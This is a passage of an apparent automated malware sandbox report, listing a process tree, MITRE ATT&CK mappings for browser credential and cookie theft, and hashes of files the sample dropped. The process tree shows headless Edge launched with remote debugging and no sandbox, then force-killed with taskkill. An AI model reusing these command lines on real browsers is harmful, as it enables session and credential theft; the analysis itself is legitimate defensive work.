                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x270,0x274,0x278,0x26c,0x284,0x7fff9e1ac188,0x7fff9e1ac194,0x7fff9e1ac1a0
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:1884
                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2240,i,13283740308551621557,3957234136855138140,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2236 /prefetch:2
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:5356
                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2240,i,13283740308551621557,3957234136855138140,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:11
                                                                                                                                                                    3⤵
                                                                                                                                                                    • System Time Discovery
                                                                                                                                                                    PID:2256
                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2240,i,13283740308551621557,3957234136855138140,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2428 /prefetch:13
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:5488
                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9739 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2240,i,13283740308551621557,3957234136855138140,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3460 /prefetch:1
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Uses browser remote debugging
                                                                                                                                                                      PID:6832
                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9739 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2240,i,13283740308551621557,3957234136855138140,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Uses browser remote debugging
                                                                                                                                                                      PID:6996
                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9739 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2240,i,13283740308551621557,3957234136855138140,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4288 /prefetch:1
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Uses browser remote debugging
                                                                                                                                                                      PID:1680
                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9739 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2240,i,13283740308551621557,3957234136855138140,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4328 /prefetch:9
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Uses browser remote debugging
                                                                                                                                                                      PID:3924
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "taskkill /F /T /IM msedge.exe"
                                                                                                                                                                    2⤵
                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                    PID:6596
                                                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                                                      taskkill /F /T /IM msedge.exe
                                                                                                                                                                      3⤵
                                                                                                                                                                      • Kills process with taskkill
                                                                                                                                                                      PID:6652
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:2536
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:2972
                                                                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                                                                      C:\Windows\System32\svchost.exe -k WerSvcGroup
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:1704
                                                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:6856
                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:6840
                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                            C:\Windows\system32\svchost.exe -k GPSvcGroup
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:4512
                                                                                                                                                                            • C:\Windows\system32\sihost.exe
                                                                                                                                                                              sihost.exe
                                                                                                                                                                              1⤵
                                                                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                                                                              PID:1780
                                                                                                                                                                              • C:\Windows\explorer.exe
                                                                                                                                                                                explorer.exe /LOADSAVEDWINDOWS
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Boot or Logon Autostart Execution: Active Setup
                                                                                                                                                                                • Enumerates connected drives
                                                                                                                                                                                • Checks SCSI registry key(s)
                                                                                                                                                                                • Modifies Internet Explorer settings
                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                • Suspicious use of FindShellTrayWindow
                                                                                                                                                                                • Suspicious use of SendNotifyMessage
                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                PID:6564
                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
                                                                                                                                                                              1⤵
                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                              PID:3260
                                                                                                                                                                            • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
                                                                                                                                                                              "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
                                                                                                                                                                              1⤵
                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                              PID:4904
                                                                                                                                                                            • C:\Windows\System32\SecurityHealthHost.exe
                                                                                                                                                                              \\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:5460

                                                                                                                                                                              Network

                                                                                                                                                                                    MITRE ATT&CK Enterprise v16

                                                                                                                                                                                    Reconnaissance

                                                                                                                                                                                    Resource Development

                                                                                                                                                                                    Initial Access

                                                                                                                                                                                    Execution

                                                                                                                                                                                    Command and Scripting Interpreter

                                                                                                                                                                                    2
                                                                                                                                                                                    T1059

                                                                                                                                                                                    PowerShell

                                                                                                                                                                                    1
                                                                                                                                                                                    T1059.001

                                                                                                                                                                                    Windows Command Shell

                                                                                                                                                                                    1
                                                                                                                                                                                    T1059.003

                                                                                                                                                                                    Persistence

                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                    2
                                                                                                                                                                                    T1547

                                                                                                                                                                                    Active Setup

                                                                                                                                                                                    1
                                                                                                                                                                                    T1547.014

                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                    1
                                                                                                                                                                                    T1547.001

                                                                                                                                                                                    Modify Authentication Process

                                                                                                                                                                                    1
                                                                                                                                                                                    T1556

                                                                                                                                                                                    Privilege Escalation

                                                                                                                                                                                    Boot or Logon Autostart Execution

                                                                                                                                                                                    2
                                                                                                                                                                                    T1547

                                                                                                                                                                                    Active Setup

                                                                                                                                                                                    1
                                                                                                                                                                                    T1547.014

                                                                                                                                                                                    Registry Run Keys / Startup Folder

                                                                                                                                                                                    1
                                                                                                                                                                                    T1547.001

                                                                                                                                                                                    Defense Evasion

                                                                                                                                                                                    Modify Authentication Process

                                                                                                                                                                                    1
                                                                                                                                                                                    T1556

                                                                                                                                                                                    Modify Registry

                                                                                                                                                                                    3
                                                                                                                                                                                    T1112

                                                                                                                                                                                    Credential Access

                                                                                                                                                                                    Credentials from Password Stores

                                                                                                                                                                                    1
                                                                                                                                                                                    T1555

                                                                                                                                                                                    Credentials from Web Browsers

                                                                                                                                                                                    1
                                                                                                                                                                                    T1555.003

                                                                                                                                                                                    Modify Authentication Process

                                                                                                                                                                                    1
                                                                                                                                                                                    T1556

                                                                                                                                                                                    Steal Web Session Cookie

                                                                                                                                                                                    1
                                                                                                                                                                                    T1539

                                                                                                                                                                                    Unsecured Credentials

                                                                                                                                                                                    1
                                                                                                                                                                                    T1552

                                                                                                                                                                                    Credentials In Files

                                                                                                                                                                                    1
                                                                                                                                                                                    T1552.001

                                                                                                                                                                                    Discovery

                                                                                                                                                                                    Browser Information Discovery

                                                                                                                                                                                    1
                                                                                                                                                                                    T1217

                                                                                                                                                                                    Peripheral Device Discovery

                                                                                                                                                                                    2
                                                                                                                                                                                    T1120

                                                                                                                                                                                    Query Registry

                                                                                                                                                                                    5
                                                                                                                                                                                    T1012

                                                                                                                                                                                    System Information Discovery

                                                                                                                                                                                    4
                                                                                                                                                                                    T1082

                                                                                                                                                                                    System Network Configuration Discovery

                                                                                                                                                                                    1
                                                                                                                                                                                    T1016

                                                                                                                                                                                    Internet Connection Discovery

                                                                                                                                                                                    1
                                                                                                                                                                                    T1016.001

                                                                                                                                                                                    System Time Discovery

                                                                                                                                                                                    1
                                                                                                                                                                                    T1124

                                                                                                                                                                                    Lateral Movement

                                                                                                                                                                                    Collection

                                                                                                                                                                                    Data from Local System

                                                                                                                                                                                    1
                                                                                                                                                                                    T1005

                                                                                                                                                                                    Command and Control

                                                                                                                                                                                    Web Service

                                                                                                                                                                                    1
                                                                                                                                                                                    T1102

                                                                                                                                                                                    Exfiltration

                                                                                                                                                                                    Impact

                                                                                                                                                                                    Replay Monitor

                                                                                                                                                                                    Loading Replay Monitor...

                                                                                                                                                                                    Downloads

                                                                                                                                                                                    settings.dat
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User\Crashpad\settings.dat
                                                                                                                                                                                    • Size 40B
                                                                                                                                                                                    • SHA256 cfdd42155f25dcf5c985c96d550fccc2618b77e53d4915198f12be812b728626
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    MANIFEST-000001
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User\Default\Extension Rules\MANIFEST-000001
                                                                                                                                                                                    • Size 41B
                                                                                                                                                                                    • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    SCT Auditing Pending Reports
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User\Default\Network\SCT Auditing Pending Reports
                                                                                                                                                                                    • Size 2B
                                                                                                                                                                                    • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    CURRENT
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User\Default\Sync Data\LevelDB\CURRENT
                                                                                                                                                                                    • Size 16B
                                                                                                                                                                                    • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                                                                                                                                    • MD5 SHA1 SHA512
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    data_0
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User\GrShaderCache\data_0
                                                                                                                                                                                    • Size 8KB
                                                                                                                                                                                    • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    data_1
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User\GrShaderCache\data_1
                                                                                                                                                                                    • Size 264KB
                                                                                                                                                                                    • SHA256 902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    data_2
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User\GrShaderCache\data_2
                                                                                                                                                                                    • Size 8KB
                                                                                                                                                                                    • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    data_3
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Google\Chrome\User\GrShaderCache\data_3
                                                                                                                                                                                    • Size 8KB
                                                                                                                                                                                    • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    settings.dat
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                    • Size 280B
                                                                                                                                                                                    • SHA256 8aaa68aad07ba45abe53bd513aa5f7e7b21bd1b29db6e1d5c1e0a79a5f4eb890
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    settings.dat
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                    • Size 280B
                                                                                                                                                                                    • SHA256 e413e02b9e80ee8d76d52c1043fc32251e2d7634d4b2fbd970df9ace9d91831a
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    settings.dat
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                                                                                                                                                                    • Size 280B
                                                                                                                                                                                    • SHA256 1895efea84c096b6fee5921c4cd0043c8e4a2ec2c52d4812df08ae8809df6a87
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    LOG
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
                                                                                                                                                                                    • Size 334B
                                                                                                                                                                                    • SHA256 68a5af80995bce66264211cefa37bf4a70115ee5e3f2ab655f08f3c47eddfd0a
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    Web Data
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
                                                                                                                                                                                    • Size 256KB
                                                                                                                                                                                    • SHA256 769a3eb5e4f91baf54eacfea3aa594d2de7b961d6407012165522c65e4984319
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    Local State
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                    • Size 39KB
                                                                                                                                                                                    • SHA256 c68b7209486ccf1003d1472b9dd9098526cd624a14c3dd3b7c6a26c9b2284745
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    Local State
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                    • Size 38KB
                                                                                                                                                                                    • SHA256 b6e9004bb4e8fba9aa6add096f1c5603b9581abe0092200381d96b9f8b9c900f
                                                                                                                                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 7e846d6b586165e41739d6a87030dd37ce2c2f370cd6e62d07c6af6d356e5fd9
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 545804662875039d9ea177eba00f0878173a24490cc6b4759f91fac066fe0329
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 2706f7a3cde18304b8eb65dc0fa6d884f09a46a78e320302afda951d20885534
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 f1f36ce6b96306efdb0b9b0fd82c259033ffb3042d02dbd1f416a59a1ee803a8
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 501c9fb7a27a5370da5ff00cfe49ae01e7f5ce5c7958df916c921e0336d546e3
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 192B
                                                                                                                                                                                    • SHA256 d5b33fb4f29c6bd50ff66c55f064a6355d8ee3c7b6b3578aa015db5c8127f4b6
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 fbc1cdd0f75706694a157f2c116eec5911440d19e362497e0f69262ffb65db04
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 92e83bc6cc3ca0b2154e470a0f5ccd8f807d184d88a99b61000810ee8165e99d
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 1dc014ae71bae56db839e125468e8d693a4b569e68debde951499621335b231b
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 36035b346c8f1137ee8423662e0e9d4addf132a5b599ab8da2b1da3a932fc2f0
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 43b64792fcb444e2ba84b700f228df37590f17b3dd0cc04f93b65c7f3ad96f1e
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 1f68110fbbac2036caeb187ee1eb288b67c5cb5609abfa952d1d50aeab6a287f
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 ccc29b2db90160f9dbd0e3782dd28e6f3f08d5db6c856e7e36b0081dd4727653
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 be808e4010782e687c5a6d00423ec05534ccaf2009c92becb7f59f0d16002e0d
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 7683753870d7b0ac777e326c9033efc9fe6eea9f6bf20917bf055018923bfcd0
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 93215ce89b3acdb1d302a9248fa7fa7ada7a6b802f12f5447c9e70db5ccbb013
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 dea6f782eba24551b5ce5123a52a1bd4632a84d45d86b6a3376a4c9025f1e9ca
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 8c40230e49f9d34cee549cab5ece2f4a24de3205eaa615015e66d10c23579196
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 8f1e6cfc8d4930812ff976bbf8b50824bf29da0e365cffb015cb2d50bf671d7e
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
                                                                                                                                                                                    • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                                                                                                                                                                                    • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                    Submit Download

                                                                                                                                                                                    StartupProfileData-NonInteractive
                                                                                                                                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                                                                                                                                    • Size 1KB
